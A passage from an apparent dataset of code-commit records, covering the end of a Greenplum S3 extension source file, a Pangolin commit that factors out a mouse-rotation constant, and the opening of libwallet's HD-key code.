config_path = strdup(\"s3\/s3.conf\");\n        }\n\n        bool result = InitConfig(config_path, \"\");\n        if (!result) {\n            free(config_path);\n            ereport(ERROR, (0, errmsg(\"Can't find config file, please check\")));\n        } else {\n            ClearConfig();\n            free(config_path);\n        }\n\n        InitLog();\n\n        if (s3ext_accessid == \"\") {\n            ereport(ERROR, (0, errmsg(\"ERROR: access id is empty\")));\n        }\n\n        if (s3ext_secret == \"\") {\n            ereport(ERROR, (0, errmsg(\"ERROR: secret is empty\")));\n        }\n\n        if ((s3ext_segnum == -1) || (s3ext_segid == -1)) {\n            ereport(ERROR, (0, errmsg(\"ERROR: segment id is invalid\")));\n        }\n\n        myData = CreateExtWrapper(url);\n\n        if (!myData ||\n            !myData->Init(s3ext_segid, s3ext_segnum, s3ext_chunksize)) {\n            if (myData) delete myData;\n            ereport(ERROR, (0, errmsg(\"Failed to init S3 extension, segid = \"\n                                      \"%d, segnum = %d, please check your \"\n                                      \"configurations and net connection\",\n                                      s3ext_segid, s3ext_segnum)));\n        }\n        \/*\n                  if(strcasecmp(parsed_url->protocol, p_name) != 0) {\n                  elog(ERROR, \"internal error: s3prot called with a different\n                  protocol\n                  (%s)\",\n                  parsed_url->protocol);\n                  }\n        *\/\n\n        EXTPROTOCOL_SET_USER_CTX(fcinfo, myData);\n\n        free(url);\n    }\n\n    \/* =======================================================================\n     *                            DO THE IMPORT\n     * =======================================================================\n     *\/\n\n    data = EXTPROTOCOL_GET_DATABUF(fcinfo);\n    data_len = EXTPROTOCOL_GET_DATALEN(fcinfo);\n    uint64_t readlen = 0;\n    if (data_len > 0) {\n        readlen = data_len;\n        if (!myData->TransferData(data, readlen))\n            ereport(ERROR, (0, errmsg(\"s3_import: could not read data\")));\n        nread = (size_t)readlen;\n        \/\/ S3DEBUG(\"read %d data from S3\", nread);\n    }\n\n    PG_RETURN_INT32((int)nread);\n}\n\n\/*\n * Export data out of GPDB.\n *\/\nDatum s3_export(PG_FUNCTION_ARGS) { PG_RETURN_INT32(0); }\n\nDatum s3_validate_urls(PG_FUNCTION_ARGS) {\n    int nurls;\n    int i;\n    ValidatorDirection direction;\n    PG_RETURN_VOID();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of the Pangolin Project.\n * http:\/\/github.com\/stevenlovegrove\/Pangolin\n *\n * Copyright (c) 2013 Steven Lovegrove\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <pangolin\/handler.h>\n#include <pangolin\/display_internal.h>\n#include <pangolin\/view.h>\n\nnamespace pangolin\n{\n\n\/\/ Pointer to context defined in display.cpp\nextern __thread PangolinGl* context;\n\nvoid Handler::Keyboard(View& d, unsigned char key, int x, int y, bool pressed)\n{\n    View* child = d.FindChild(x,y);\n    if( child)\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Keyboard(*child,key,x,y,pressed);\n    }\n}\n\nvoid Handler::Mouse(View& d, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Mouse(*child,button,x,y,pressed,button_state);\n    }\n}\n\nvoid Handler::MouseMotion(View& d, int x, int y, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->MouseMotion(*child,x,y,button_state);\n    }\n}\n\nvoid Handler::PassiveMouseMotion(View& d, int x, int y, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        if( child->handler)\n            child->handler->PassiveMouseMotion(*child,x,y,button_state);\n    }\n}\n\nvoid Handler::Special(View& d, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Special(*child,inType, x,y, p1, p2, p3, p4, button_state);\n    }\n}\n\nvoid HandlerScroll::Mouse(View& d, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    if( button == button_state && (button == MouseWheelUp || button == MouseWheelDown) )\n    {\n        if( button == MouseWheelUp) d.scroll_offset   -= 1;\n        if( button == MouseWheelDown) d.scroll_offset += 1;\n        d.scroll_offset = std::max(0, std::min(d.scroll_offset, (int)d.views.size()) );\n        d.ResizeChildren();\n    }else{\n        Handler::Mouse(d,button,x,y,pressed,button_state);\n    }\n}\n\nvoid HandlerScroll::Special(View& d, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    if( inType == InputSpecialScroll )\n    {\n        d.scroll_offset -= p2 \/ abs(p2);\n        d.scroll_offset = std::max(0, std::min(d.scroll_offset, (int)d.views.size()) );\n        d.ResizeChildren();\n    }else{\n        Handler::Special(d,inType,x,y,p1,p2,p3,p4,button_state);\n    }\n}\n\nHandler3D::Handler3D(OpenGlRenderState& cam_state, AxisDirection enforce_up, float trans_scale, float zoom_fraction)\n    : cam_state(&cam_state), enforce_up(enforce_up), tf(trans_scale), zf(zoom_fraction), cameraspec(CameraSpecOpenGl), last_z(1.0)\n{\n    SetZero<3,1>(rot_center);\n}\n\nvoid Handler3D::Keyboard(View&, unsigned char key, int x, int y, bool pressed)\n{\n    \/\/ TODO: hooks for reset \/ changing mode (perspective \/ ortho etc)\n}\n\nvoid Handler3D::GetPosNormal(pangolin::View& view, int x, int y, double p[3], double Pw[3], double Pc[3], double n[3], double default_z)\n{\n    const GLint viewport[4] = {view.v.l,view.v.b,view.v.w,view.v.h};\n    const pangolin::OpenGlMatrix proj = cam_state->GetProjectionMatrix();\n    const pangolin::OpenGlMatrix mv = cam_state->GetModelViewMatrix();\n    \/\/      const pangolin::OpenGlMatrix id = IdentityMatrix();\n    \n    glReadBuffer(GL_FRONT);\n    const int zl = (hwin*2+1);\n    const int zsize = zl*zl;\n    GLfloat zs[zsize];\n    glReadPixels(x-hwin,y-hwin,zl,zl,GL_DEPTH_COMPONENT,GL_FLOAT,zs);\n    GLfloat mindepth = *(std::min_element(zs,zs+zsize));\n    if(mindepth == 1) mindepth = default_z;\n    \n    p[0] = x; p[1] = y; p[2] = mindepth;\n    gluUnProject(x, y, mindepth, mv.m, proj.m, viewport, &Pw[0], &Pw[1], &Pw[2]);\n    \/\/      gluUnProject(x, y, mindepth, id.m, proj.m, viewport, &Pc[0], &Pc[1], &Pc[2]);\n    LieApplySE34x4vec3(Pc, mv.m, Pw);\n    \n    double Pl[3]; double Pr[3]; double Pb[3]; double Pt[3];\n    gluUnProject(x-hwin, y, zs[hwin*zl + 0],    mv.m, proj.m, viewport, &Pl[0], &Pl[1], &Pl[2]);\n    gluUnProject(x+hwin, y, zs[hwin*zl + zl-1], mv.m, proj.m, viewport, &Pr[0], &Pr[1], &Pr[2]);\n    gluUnProject(x, y-hwin, zs[hwin+1],         mv.m, proj.m, viewport, &Pb[0], &Pb[1], &Pb[2]);\n    gluUnProject(x, y+hwin, zs[zsize-(hwin+1)], mv.m, proj.m, viewport, &Pt[0], &Pt[1], &Pt[2]);\n    \n    \/\/      n = ((Pr-Pl).cross(Pt-Pb)).normalized();\n    double PrmPl[3]; double PtmPb[3];\n    MatSub<3,1>(PrmPl,Pr,Pl);\n    MatSub<3,1>(PtmPb,Pt,Pb);\n    CrossProduct(n, PrmPl, PtmPb);\n    Normalise<3>(n);\n}\n\nvoid Handler3D::Mouse(View& display, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    \/\/ mouse down\n    last_pos[0] = x;\n    last_pos[1] = y;\n    \n    double T_nc[3*4];\n    LieSetIdentity(T_nc);\n    \n    if( pressed ) {\n        GetPosNormal(display,x,y,p,Pw,Pc,n,last_z);\n        if(p[2] < 1.0) {\n            last_z = p[2];\n            std::copy(Pc,Pc+3,rot_center);\n        }\n        \n        if( button == MouseWheelUp || button == MouseWheelDown)\n        {\n            LieSetIdentity(T_nc);\n            const double t[] = { 0,0,(button==MouseWheelUp?1:-1)*100*tf};\n            LieSetTranslation<>(T_nc,t);\n            if( !(button_state & MouseButtonRight) && !(rot_center[0]==0 && rot_center[1]==0 && rot_center[2]==0) )\n            {\n                LieSetTranslation<>(T_nc,rot_center);\n                MatMul<3,1>(T_nc+(3*3),(button==MouseWheelUp?-1.0:1.0) * zf);\n            }\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }\n    }\n}\n\nvoid Handler3D::MouseMotion(View& display, int x, int y, int button_state)\n{\n    const int delta[2] = {(x-last_pos[0]),(y-last_pos[1])};\n    const float mag = delta[0]*delta[0] + delta[1]*delta[1];\n    \n    \/\/ TODO: convert delta to degrees based of fov\n    \/\/ TODO: make transformation with respect to cam spec\n    \n    if( mag < 50*50 )\n    {\n        OpenGlMatrix& mv = cam_state->GetModelViewMatrix();\n        const GLdouble* up = AxisDirectionVector[enforce_up];\n        double T_nc[3*4];\n        LieSetIdentity(T_nc);\n        bool rotation_changed = false;\n        \n        if( button_state == MouseButtonMiddle )\n        {\n            \/\/ Middle Drag: in plane translate\n            Rotation<>(T_nc,-delta[1]*0.01, -delta[0]*0.01, 0.0);\n        }else if( button_state == MouseButtonLeft )\n        {\n            \/\/ Left Drag: in plane translate\n            if( last_z != 1 )\n            {\n                GLdouble np[3];\n                display.GetCamCoordinates(*cam_state,x,y,last_z, np[0], np[1], np[2]);\n                const double t[] = { np[0] - rot_center[0], np[1] - rot_center[1], 0};\n                LieSetTranslation<>(T_nc,t);\n                std::copy(np,np+3,rot_center);\n            }else{\n                const double t[] = { -10*delta[0]*tf, 10*delta[1]*tf, 0};\n                LieSetTranslation<>(T_nc,t);\n            }\n        }else if( button_state == (MouseButtonLeft | MouseButtonRight) )\n        {\n            \/\/ Left and Right Drag: in plane rotate about object\n            \/\/        Rotation<>(T_nc,0.0,0.0, delta[0]*0.01);\n            \n            double T_2c[3*4];\n            Rotation<>(T_2c,0.0,0.0, delta[0]*0.01);\n            double mrotc[3];\n            MatMul<3,1>(mrotc, rot_center, -1.0);\n            LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n            double T_n2[3*4];\n            LieSetIdentity<>(T_n2);\n            LieSetTranslation<>(T_n2,rot_center);\n            LieMulSE3(T_nc, T_n2, T_2c );\n            rotation_changed = true;\n        }else if( button_state == MouseButtonRight)\n        {\n            \/\/ Correct for OpenGL Camera.\n            double aboutx = -0.01 * delta[1];\n            double abouty =  0.01 * delta[0];\n            \n            \/\/ Try to correct for different coordinate conventions.\n            OpenGlMatrix& pm = cam_state->GetProjectionMatrix();\n            abouty *= -pm.m[2*4+3];\n            \n            if(enforce_up) {\n                \/\/ Special case if view direction is parallel to up vector\n                const double updotz = mv.m[2]*up[0] + mv.m[6]*up[1] + mv.m[10]*up[2];\n                if(updotz > 0.98) aboutx = std::min(aboutx,0.0);\n                if(updotz <-0.98) aboutx = std::max(aboutx,0.0);\n                \/\/ Module rotation around y so we don't spin too fast!\n                abouty *= (1-0.6*abs(updotz));\n            }\n            \n            \/\/ Right Drag: object centric rotation\n            double T_2c[3*4];\n            Rotation<>(T_2c, aboutx, abouty, 0.0);\n            double mrotc[3];\n            MatMul<3,1>(mrotc, rot_center, -1.0);\n            LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n            double T_n2[3*4];\n            LieSetIdentity<>(T_n2);\n            LieSetTranslation<>(T_n2,rot_center);\n            LieMulSE3(T_nc, T_n2, T_2c );\n            rotation_changed = true;\n        }\n        \n        LieMul4x4bySE3<>(mv.m,T_nc,mv.m);\n        \n        if(enforce_up != AxisNone && rotation_changed) {\n            EnforceUpT_cw(mv.m, up);\n        }\n    }\n    \n    last_pos[0] = x;\n    last_pos[1] = y;\n}\n\nvoid Handler3D::Special(View& display, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    if( !(inType == InputSpecialScroll || inType == InputSpecialRotate) )\n        return;\n    \n    \/\/ mouse down\n    last_pos[0] = x;\n    last_pos[1] = y;\n    \n    double T_nc[3*4];\n    LieSetIdentity(T_nc);\n    \n    GetPosNormal(display,x,y,p,Pw,Pc,n,last_z);\n    if(p[2] < 1.0) {\n        last_z = p[2];\n        std::copy(Pc,Pc+3,rot_center);\n    }\n    \n    if( inType == InputSpecialScroll ) {\n        if(button_state & KeyModifierCmd) {\n            const double rx = -p2 \/ 1000;\n            const double ry = -p1 \/ 1000;\n            \n            Rotation<>(T_nc,rx, ry, 0.0);\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }else{\n            const double scrolly = p2\/10;\n            \n            LieSetIdentity(T_nc);\n            const double t[] = { 0,0, -scrolly*100*tf};\n            LieSetTranslation<>(T_nc,t);\n            if( !(button_state & MouseButtonRight) && !(rot_center[0]==0 && rot_center[1]==0 && rot_center[2]==0) )\n            {\n                LieSetTranslation<>(T_nc,rot_center);\n                MatMul<3,1>(T_nc+(3*3), -scrolly * zf);\n            }\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }\n    }else if(inType == InputSpecialRotate) {\n        const double r = p1 \/ 20;\n        \n        double T_2c[3*4];\n        Rotation<>(T_2c,0.0,0.0, r);\n        double mrotc[3];\n        MatMul<3,1>(mrotc, rot_center, -1.0);\n        LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n        double T_n2[3*4];\n        LieSetIdentity<>(T_n2);\n        LieSetTranslation<>(T_n2,rot_center);\n        LieMulSE3(T_nc, T_n2, T_2c );\n        OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n        LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n    }\n    \n}\n\n}\n<commit_msg>Pull out rotation factor constant.<commit_after>\/* This file is part of the Pangolin Project.\n * http:\/\/github.com\/stevenlovegrove\/Pangolin\n *\n * Copyright (c) 2013 Steven Lovegrove\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <pangolin\/handler.h>\n#include <pangolin\/display_internal.h>\n#include <pangolin\/view.h>\n\nnamespace pangolin\n{\n\n\/\/ Pointer to context defined in display.cpp\nextern __thread PangolinGl* context;\n\nvoid Handler::Keyboard(View& d, unsigned char key, int x, int y, bool pressed)\n{\n    View* child = d.FindChild(x,y);\n    if( child)\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Keyboard(*child,key,x,y,pressed);\n    }\n}\n\nvoid Handler::Mouse(View& d, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Mouse(*child,button,x,y,pressed,button_state);\n    }\n}\n\nvoid Handler::MouseMotion(View& d, int x, int y, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->MouseMotion(*child,x,y,button_state);\n    }\n}\n\nvoid Handler::PassiveMouseMotion(View& d, int x, int y, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        if( child->handler)\n            child->handler->PassiveMouseMotion(*child,x,y,button_state);\n    }\n}\n\nvoid Handler::Special(View& d, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    View* child = d.FindChild(x,y);\n    if( child )\n    {\n        context->activeDisplay = child;\n        if( child->handler)\n            child->handler->Special(*child,inType, x,y, p1, p2, p3, p4, button_state);\n    }\n}\n\nvoid HandlerScroll::Mouse(View& d, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    if( button == button_state && (button == MouseWheelUp || button == MouseWheelDown) )\n    {\n        if( button == MouseWheelUp) d.scroll_offset   -= 1;\n        if( button == MouseWheelDown) d.scroll_offset += 1;\n        d.scroll_offset = std::max(0, std::min(d.scroll_offset, (int)d.views.size()) );\n        d.ResizeChildren();\n    }else{\n        Handler::Mouse(d,button,x,y,pressed,button_state);\n    }\n}\n\nvoid HandlerScroll::Special(View& d, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    if( inType == InputSpecialScroll )\n    {\n        d.scroll_offset -= p2 \/ abs(p2);\n        d.scroll_offset = std::max(0, std::min(d.scroll_offset, (int)d.views.size()) );\n        d.ResizeChildren();\n    }else{\n        Handler::Special(d,inType,x,y,p1,p2,p3,p4,button_state);\n    }\n}\n\nHandler3D::Handler3D(OpenGlRenderState& cam_state, AxisDirection enforce_up, float trans_scale, float zoom_fraction)\n    : cam_state(&cam_state), enforce_up(enforce_up), tf(trans_scale), zf(zoom_fraction), cameraspec(CameraSpecOpenGl), last_z(1.0)\n{\n    SetZero<3,1>(rot_center);\n}\n\nvoid Handler3D::Keyboard(View&, unsigned char key, int x, int y, bool pressed)\n{\n    \/\/ TODO: hooks for reset \/ changing mode (perspective \/ ortho etc)\n}\n\nvoid Handler3D::GetPosNormal(pangolin::View& view, int x, int y, double p[3], double Pw[3], double Pc[3], double n[3], double default_z)\n{\n    const GLint viewport[4] = {view.v.l,view.v.b,view.v.w,view.v.h};\n    const pangolin::OpenGlMatrix proj = cam_state->GetProjectionMatrix();\n    const pangolin::OpenGlMatrix mv = cam_state->GetModelViewMatrix();\n    \/\/      const pangolin::OpenGlMatrix id = IdentityMatrix();\n    \n    glReadBuffer(GL_FRONT);\n    const int zl = (hwin*2+1);\n    const int zsize = zl*zl;\n    GLfloat zs[zsize];\n    glReadPixels(x-hwin,y-hwin,zl,zl,GL_DEPTH_COMPONENT,GL_FLOAT,zs);\n    GLfloat mindepth = *(std::min_element(zs,zs+zsize));\n    if(mindepth == 1) mindepth = default_z;\n    \n    p[0] = x; p[1] = y; p[2] = mindepth;\n    gluUnProject(x, y, mindepth, mv.m, proj.m, viewport, &Pw[0], &Pw[1], &Pw[2]);\n    \/\/      gluUnProject(x, y, mindepth, id.m, proj.m, viewport, &Pc[0], &Pc[1], &Pc[2]);\n    LieApplySE34x4vec3(Pc, mv.m, Pw);\n    \n    double Pl[3]; double Pr[3]; double Pb[3]; double Pt[3];\n    gluUnProject(x-hwin, y, zs[hwin*zl + 0],    mv.m, proj.m, viewport, &Pl[0], &Pl[1], &Pl[2]);\n    gluUnProject(x+hwin, y, zs[hwin*zl + zl-1], mv.m, proj.m, viewport, &Pr[0], &Pr[1], &Pr[2]);\n    gluUnProject(x, y-hwin, zs[hwin+1],         mv.m, proj.m, viewport, &Pb[0], &Pb[1], &Pb[2]);\n    gluUnProject(x, y+hwin, zs[zsize-(hwin+1)], mv.m, proj.m, viewport, &Pt[0], &Pt[1], &Pt[2]);\n    \n    \/\/      n = ((Pr-Pl).cross(Pt-Pb)).normalized();\n    double PrmPl[3]; double PtmPb[3];\n    MatSub<3,1>(PrmPl,Pr,Pl);\n    MatSub<3,1>(PtmPb,Pt,Pb);\n    CrossProduct(n, PrmPl, PtmPb);\n    Normalise<3>(n);\n}\n\nvoid Handler3D::Mouse(View& display, MouseButton button, int x, int y, bool pressed, int button_state)\n{\n    \/\/ mouse down\n    last_pos[0] = x;\n    last_pos[1] = y;\n    \n    double T_nc[3*4];\n    LieSetIdentity(T_nc);\n    \n    if( pressed ) {\n        GetPosNormal(display,x,y,p,Pw,Pc,n,last_z);\n        if(p[2] < 1.0) {\n            last_z = p[2];\n            std::copy(Pc,Pc+3,rot_center);\n        }\n        \n        if( button == MouseWheelUp || button == MouseWheelDown)\n        {\n            LieSetIdentity(T_nc);\n            const double t[] = { 0,0,(button==MouseWheelUp?1:-1)*100*tf};\n            LieSetTranslation<>(T_nc,t);\n            if( !(button_state & MouseButtonRight) && !(rot_center[0]==0 && rot_center[1]==0 && rot_center[2]==0) )\n            {\n                LieSetTranslation<>(T_nc,rot_center);\n                MatMul<3,1>(T_nc+(3*3),(button==MouseWheelUp?-1.0:1.0) * zf);\n            }\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }\n    }\n}\n\nvoid Handler3D::MouseMotion(View& display, int x, int y, int button_state)\n{\n    const double rf = 0.01;\n    const int delta[2] = {(x-last_pos[0]),(y-last_pos[1])};\n    const float mag = delta[0]*delta[0] + delta[1]*delta[1];\n    \n    \/\/ TODO: convert delta to degrees based of fov\n    \/\/ TODO: make transformation with respect to cam spec\n    \n    if( mag < 50*50 )\n    {\n        OpenGlMatrix& mv = cam_state->GetModelViewMatrix();\n        const GLdouble* up = AxisDirectionVector[enforce_up];\n        double T_nc[3*4];\n        LieSetIdentity(T_nc);\n        bool rotation_changed = false;\n        \n        if( button_state == MouseButtonMiddle )\n        {\n            \/\/ Middle Drag: in plane translate\n            Rotation<>(T_nc,-delta[1]*rf, -delta[0]*rf, 0.0);\n        }else if( button_state == MouseButtonLeft )\n        {\n            \/\/ Left Drag: in plane translate\n            if( last_z != 1 )\n            {\n                GLdouble np[3];\n                display.GetCamCoordinates(*cam_state,x,y,last_z, np[0], np[1], np[2]);\n                const double t[] = { np[0] - rot_center[0], np[1] - rot_center[1], 0};\n                LieSetTranslation<>(T_nc,t);\n                std::copy(np,np+3,rot_center);\n            }else{\n                const double t[] = { -10*delta[0]*tf, 10*delta[1]*tf, 0};\n                LieSetTranslation<>(T_nc,t);\n            }\n        }else if( button_state == (MouseButtonLeft | MouseButtonRight) )\n        {\n            \/\/ Left and Right Drag: in plane rotate about object\n            \/\/        Rotation<>(T_nc,0.0,0.0, delta[0]*0.01);\n            \n            double T_2c[3*4];\n            Rotation<>(T_2c,0.0,0.0, delta[0]*rf);\n            double mrotc[3];\n            MatMul<3,1>(mrotc, rot_center, -1.0);\n            LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n            double T_n2[3*4];\n            LieSetIdentity<>(T_n2);\n            LieSetTranslation<>(T_n2,rot_center);\n            LieMulSE3(T_nc, T_n2, T_2c );\n            rotation_changed = true;\n        }else if( button_state == MouseButtonRight)\n        {\n            \/\/ Correct for OpenGL Camera.\n            double aboutx = -rf * delta[1];\n            double abouty =  rf * delta[0];\n            \n            \/\/ Try to correct for different coordinate conventions.\n            OpenGlMatrix& pm = cam_state->GetProjectionMatrix();\n            abouty *= -pm.m[2*4+3];\n            \n            if(enforce_up) {\n                \/\/ Special case if view direction is parallel to up vector\n                const double updotz = mv.m[2]*up[0] + mv.m[6]*up[1] + mv.m[10]*up[2];\n                if(updotz > 0.98) aboutx = std::min(aboutx,0.0);\n                if(updotz <-0.98) aboutx = std::max(aboutx,0.0);\n                \/\/ Module rotation around y so we don't spin too fast!\n                abouty *= (1-0.6*abs(updotz));\n            }\n            \n            \/\/ Right Drag: object centric rotation\n            double T_2c[3*4];\n            Rotation<>(T_2c, aboutx, abouty, 0.0);\n            double mrotc[3];\n            MatMul<3,1>(mrotc, rot_center, -1.0);\n            LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n            double T_n2[3*4];\n            LieSetIdentity<>(T_n2);\n            LieSetTranslation<>(T_n2,rot_center);\n            LieMulSE3(T_nc, T_n2, T_2c );\n            rotation_changed = true;\n        }\n        \n        LieMul4x4bySE3<>(mv.m,T_nc,mv.m);\n        \n        if(enforce_up != AxisNone && rotation_changed) {\n            EnforceUpT_cw(mv.m, up);\n        }\n    }\n    \n    last_pos[0] = x;\n    last_pos[1] = y;\n}\n\nvoid Handler3D::Special(View& display, InputSpecial inType, float x, float y, float p1, float p2, float p3, float p4, int button_state)\n{\n    if( !(inType == InputSpecialScroll || inType == InputSpecialRotate) )\n        return;\n    \n    \/\/ mouse down\n    last_pos[0] = x;\n    last_pos[1] = y;\n    \n    double T_nc[3*4];\n    LieSetIdentity(T_nc);\n    \n    GetPosNormal(display,x,y,p,Pw,Pc,n,last_z);\n    if(p[2] < 1.0) {\n        last_z = p[2];\n        std::copy(Pc,Pc+3,rot_center);\n    }\n    \n    if( inType == InputSpecialScroll ) {\n        if(button_state & KeyModifierCmd) {\n            const double rx = -p2 \/ 1000;\n            const double ry = -p1 \/ 1000;\n            \n            Rotation<>(T_nc,rx, ry, 0.0);\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }else{\n            const double scrolly = p2\/10;\n            \n            LieSetIdentity(T_nc);\n            const double t[] = { 0,0, -scrolly*100*tf};\n            LieSetTranslation<>(T_nc,t);\n            if( !(button_state & MouseButtonRight) && !(rot_center[0]==0 && rot_center[1]==0 && rot_center[2]==0) )\n            {\n                LieSetTranslation<>(T_nc,rot_center);\n                MatMul<3,1>(T_nc+(3*3), -scrolly * zf);\n            }\n            OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n            LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n        }\n    }else if(inType == InputSpecialRotate) {\n        const double r = p1 \/ 20;\n        \n        double T_2c[3*4];\n        Rotation<>(T_2c,0.0,0.0, r);\n        double mrotc[3];\n        MatMul<3,1>(mrotc, rot_center, -1.0);\n        LieApplySO3<>(T_2c+(3*3),T_2c,mrotc);\n        double T_n2[3*4];\n        LieSetIdentity<>(T_n2);\n        LieSetTranslation<>(T_n2,rot_center);\n        LieMulSE3(T_nc, T_n2, T_2c );\n        OpenGlMatrix& spec = cam_state->GetModelViewMatrix();\n        LieMul4x4bySE3<>(spec.m,T_nc,spec.m);\n    }\n    \n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2011-2013 libwallet developers (see AUTHORS)\n *\n * This file is part of libwallet.\n *\n * libwallet is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <wallet\/hd_keys.hpp>\n\n#include <algorithm>\n#include <openssl\/bn.h>\n#include <openssl\/hmac.h>\n#include <bitcoin\/format.hpp>\n#include <bitcoin\/utility\/base58.hpp>\n#include <bitcoin\/utility\/ripemd.hpp>\n#include <bitcoin\/utility\/sha256.hpp>\n\nnamespace libwallet {\n\ntemplate<typename T, void destroy(T* p)>\nclass auto_free\n{\npublic:\n    auto_free(T* p)\n      : ptr(p)\n    {}\n    ~auto_free()\n    {\n        destroy(ptr);\n    }\n    operator T*()\n    {\n        return ptr;\n    }\n    T* ptr;\n};\ntypedef auto_free<BIGNUM, BN_free> ssl_bignum;\ntypedef auto_free<BN_CTX, BN_CTX_free> ssl_bn_ctx;\ntypedef auto_free<EC_GROUP, EC_GROUP_free> ssl_ec_group;\ntypedef auto_free<EC_POINT, EC_POINT_free> ssl_ec_point;\n\nconstexpr uint32_t mainnet_private_prefix = 0x0488ADE4;\nconstexpr uint32_t mainnet_public_prefix  = 0x0488B21E;\nconstexpr uint32_t testnet_private_prefix = 0x04358394;\nconstexpr uint32_t testnet_public_prefix  = 0x043587CF;\n\nsecret_parameter secp256k1_n{{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,\n                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe,\n                              0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b,\n                              0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x41}};\n\nstatic data_chunk secret_to_public_key(const secret_parameter& secret)\n{\n    elliptic_curve_key key;\n    key.set_secret(secret, true);\n    return 